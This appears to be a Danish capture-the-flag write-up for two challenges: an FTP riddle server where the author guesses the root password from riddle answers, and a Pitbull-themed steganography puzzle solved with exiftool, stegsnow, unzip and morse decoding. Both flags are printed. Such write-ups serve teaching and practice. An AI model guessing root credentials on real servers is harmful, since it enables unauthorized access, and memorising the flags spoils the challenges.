Dette kan gøres i Thunar (Kalis standard file explorer), ved at tilgå ftp://fileriddler.hkn
, og vælge anonymous.
Der er 1000 .txt
filer på serveren, men de er stort set alle tomme, bortset fra 6 filer.
De indeholder alle gåder.
$ bat *.txt
───────┬───────────────────────────────────────────────────
│ File: 25.txt
───────┼───────────────────────────────────────────────────
1 │ Mississippi has the letters S and I 4 times.
2 │ Can you spell that without using S or I?
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
│ File: 69.txt
───────┼───────────────────────────────────────────────────
1 │ What kind of ship has two mates but no captain?
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
│ File: 436.txt
───────┼───────────────────────────────────────────────────
1 │ I can be cracked. I can be made.
2 │ I can be told. I can be played.
3 │ What am I?
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
│ File: 503.txt
───────┼───────────────────────────────────────────────────
1 │ If You Look At The Numbers On My Face,
2 │ You Won't Find 13 Anyplace.
3 │ What am I?
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
│ File: 778.txt
───────┼───────────────────────────────────────────────────
1 │ I have married many times,
2 │ but have always been single.
3 │ Who am I?
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
│ File: 947.txt
───────┼───────────────────────────────────────────────────
1 │ What type of cheese is made backward?
───────┴───────────────────────────────────────────────────
Jeg er ikke den bedste til gåder, men mon ikke jeg kan spørge internettet til råds…
Med lidt hjælp fra min ven GPT, har jeg fundet frem til følgende svar:
- “that”
- “courtship”
- “joke”
- “clock”
- “preist”
- “edam”
Efter et par forsøg med at logge ind på FTP serveren med brugeren root
og diverse passwords fra gåderne, viser det sig at koden er joke
.
Der er nu kun en enkelt fil: root.txt
og i den ligger flaget.
Flag: DDC{ridd13_m3_7hi5}
Hr Verdensrund
Sværhedsgrad: Medium
Fil: Download
Beskrivelse:
Hr. Verdensrund (305, Dalé) dropper snart sin nye single. Hvilket hemmeligheder gemmer han mon på? Og hvofor er der et billede af en pitbull? OG HVORFOR ER DER EN TXT FILE DER HEDDER WHITESPACE?? Og hvad mon whitespace kan bruges til? OG OG hvad er “SNOW” for noget??
Denne opgave indeholder (rigtig) mange referencer til kunstneren Pitbull og hvad der nu ellers hører til.
Vi får en .zip
fil, der er password protected, WhiteSpace.txt
der indeholder en lyrik til en bunke Pitbull sange, samt noget whitespace efter hver af de første linjer.
Samt filen Dalé.jpg
der blandt andet indeholder teksten “What is EXIF”, så lad os starte med at se om der skulle gemme sig noget med exiftool
$ exiftool Dalé.jpg
--- afkortet ---
Lens Manufacturer : Whitepace.txt password: UsherDalle
--- afkortet ---
Udover det standard data der nu ligger i EXIF, er der igen en bunke referencer til Pitbull i andre EXIF entries; “Pitbulls Pitbull”, “ Hr verdensrund, 305, dalle”, “ Voli vodka”.
Efter lidt søgen rundt på nettet, fandt jeg frem til at WhiteSpace.txt
må være “krypteret” med SNOW, hvilket der også findes et Kali tool til at bruge: stegsnow
$ stegsnow -C -p UsherDalle WhiteSpace.txt
Album Passoword: Yeah, right, picture that with a Kodak
$ unzip -P "Yeah, right, picture that with a Kodak" HrVerdensrundsNyeTOPHEMMELIGEsingle.zip
Vi får nu adgang til Pitbulls helt nye tophemmelige single, esroM 20WPM, DALÉ
og som navnet (læst bagfra) antyder, er det 20WPM morse kode.
Det går rimelig tjept, men der findes heldigvis online værktøjer, der kan hjælpe med dette, såsom
denne, fra morsecode.world.
Den forsøger at tolke morsekode på det første stykke af filen, hvilket ender ud i noget vrøvl, men det er heldigvis tydeligt hvad morsekoden siger: BIT.LY/3OHLEMG
I håbet om ikke at blive hacket, åbnede jeg på linket hvilket fører til en YouTube video.
3 sekunder inde i videoen er der få frames der viser flaget, sammen med nogle billeder af Pitbull (naturligvis).
Flag: HKN{305-V3rDensrUnD}